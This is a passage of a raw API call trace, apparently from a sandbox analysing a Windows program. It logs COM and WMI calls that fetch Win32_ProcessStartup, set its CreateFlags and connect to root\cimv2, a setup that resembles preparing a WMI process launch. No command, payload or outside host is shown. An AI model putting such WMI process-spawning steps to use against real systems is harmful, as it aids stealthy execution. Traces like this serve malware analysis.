riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc426e0) returned 0x0 [0136.855] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc426e0, pProxy=0x1bc655e0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0136.855] WbemLocator:IUnknown:Release (This=0x1bc426e0) returned 0x1 [0136.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc655e0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42720) returned 0x0 [0136.855] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc655e0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc426e0) returned 0x0 [0136.855] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc426e0, pProxy=0x1bc655e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0136.855] WbemLocator:IUnknown:Release (This=0x1bc426e0) returned 0x2 [0136.855] WbemLocator:IUnknown:Release (This=0x1bc42720) returned 0x1 [0136.855] CoTaskMemFree (pv=0x1bc6d980) [0136.855] WbemLocator:IUnknown:AddRef (This=0x1bc655e0) returned 0x2 [0136.855] WbemLocator:IUnknown:Release (This=0x1bc6fb40) returned 0x0 [0136.856] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0136.856] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0136.856] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc655e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc426f0) returned 0x0 [0136.856] WbemLocator:IRpcOptions:Query (in: This=0x1bc426f0, pPrx=0x1bc6fba0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0136.856] WbemLocator:IUnknown:Release (This=0x1bc426f0) returned 0x2 [0136.857] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0136.857] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0136.857] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc655e0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc655e0) returned 0x0 [0136.857] WbemLocator:IUnknown:Release (This=0x1bc655e0) returned 0x2 [0136.857] SysStringLen (param_1=0x0) returned 0x0 [0136.857] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0136.857] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40100, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0136.857] IWbemServices:GetObject (in: This=0x1bc655e0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc75f10, ppCallResult=0x0) returned 0x0 [0136.859] IWbemClassObject:Get (in: This=0x1bc75f10, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0136.859] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0136.859] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0136.859] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0136.859] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0136.859] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0136.860] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.861] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc6fb40) returned 0x0 [0136.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fb40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0136.862] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fb40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc40280) returned 0x0 [0136.862] WbemDefPath:IUnknown:Release (This=0x1bc6fb40) returned 0x0 [0136.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc40280) returned 0x0 [0136.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0136.862] WbemDefPath:IUnknown:AddRef (This=0x1bc40280) returned 0x3 [0136.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0136.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0136.862] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc6fb60) returned 0x0 [0136.862] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fb60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.862] WbemDefPath:IUnknown:Release (This=0x1bc6fb60) returned 0x3 [0136.862] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0136.863] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0136.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0136.863] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x2 [0136.863] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x1 [0136.863] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0136.863] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0136.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40280, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc40280) returned 0x0 [0136.863] WbemDefPath:IUnknown:AddRef (This=0x1bc40280) returned 0x3 [0136.863] WbemDefPath:IUnknown:Release (This=0x1bc40280) returned 0x2 [0136.863] WbemDefPath:IWbemPath:SetText (This=0x1bc40280, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0136.863] IWbemClassObject:Get (in: This=0x1bc75f10, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887b40*=0, plFlavor=0x2887b44*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887b40*=19, plFlavor=0x2887b44*=0) returned 0x0 [0136.863] IWbemClassObject:Get (in: This=0x1bc75f10, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887b40*=19, plFlavor=0x2887b44*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2887b40*=19, plFlavor=0x2887b44*=0) returned 0x0 [0136.863] IWbemClassObject:Put (This=0x1bc75f10, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0136.864] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40040, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0136.864] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0136.864] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0136.864] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.864] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0136.864] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0136.864] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0136.864] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.866] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc6fd00) returned 0x0 [0136.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc6fd00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0136.866] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc6fd00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc40340) returned 0x0 [0136.866] WbemDefPath:IUnknown:Release (This=0x1bc6fd00) returned 0x0 [0136.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc40340) returned 0x0 [0136.866] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0136.867] WbemDefPath:IUnknown:AddRef (This=0x1bc40340) returned 0x3 [0136.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0136.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0136.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc6fd40) returned 0x0 [0136.867] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6fd40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0136.867] WbemDefPath:IUnknown:Release (This=0x1bc6fd40) returned 0x3 [0136.867] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0136.867] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0136.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0136.867] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x2 [0136.867] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x1 [0136.867] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0136.867] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0136.867] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40340, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc40340) returned 0x0 [0136.868] WbemDefPath:IUnknown:AddRef (This=0x1bc40340) returned 0x3 [0136.868] WbemDefPath:IUnknown:Release (This=0x1bc40340) returned 0x2 [0136.868] WbemDefPath:IWbemPath:SetText (This=0x1bc40340, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0136.868] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0136.868] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0136.868] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.868] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0136.868] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0136.868] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0136.868] IUnknown:Release (This=0x1a943398) returned 0x1 [0136.869] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc6fe40) returned 0x0 [0136.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0136.869] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc6fe40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc6fe60) returned 0x0 [0136.869] WbemLocator:IUnknown:Release (This=0x1bc6fe40) returned 0x0 [0136.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc6fe60) returned 0x0 [0136.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0136.870] WbemLocator:IUnknown:AddRef (This=0x1bc6fe60) returned 0x3 [0136.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0136.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0136.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0136.870] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0136.870] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0136.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0136.870] WbemLocator:IUnknown:Release (This=0x1bc6fe60) returned 0x2 [0136.870] WbemLocator:IUnknown:Release (This=0x1bc6fe60) returned 0x1 [0136.870] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0136.870] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0136.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fe60, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc6fe60) returned 0x0 [0136.870] WbemLocator:IUnknown:AddRef (This=0x1bc6fe60) returned 0x3 [0136.870] WbemLocator:IUnknown:Release (This=0x1bc6fe60) returned 0x2 [0136.870] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0136.870] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0136.870] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40340, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.871] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, 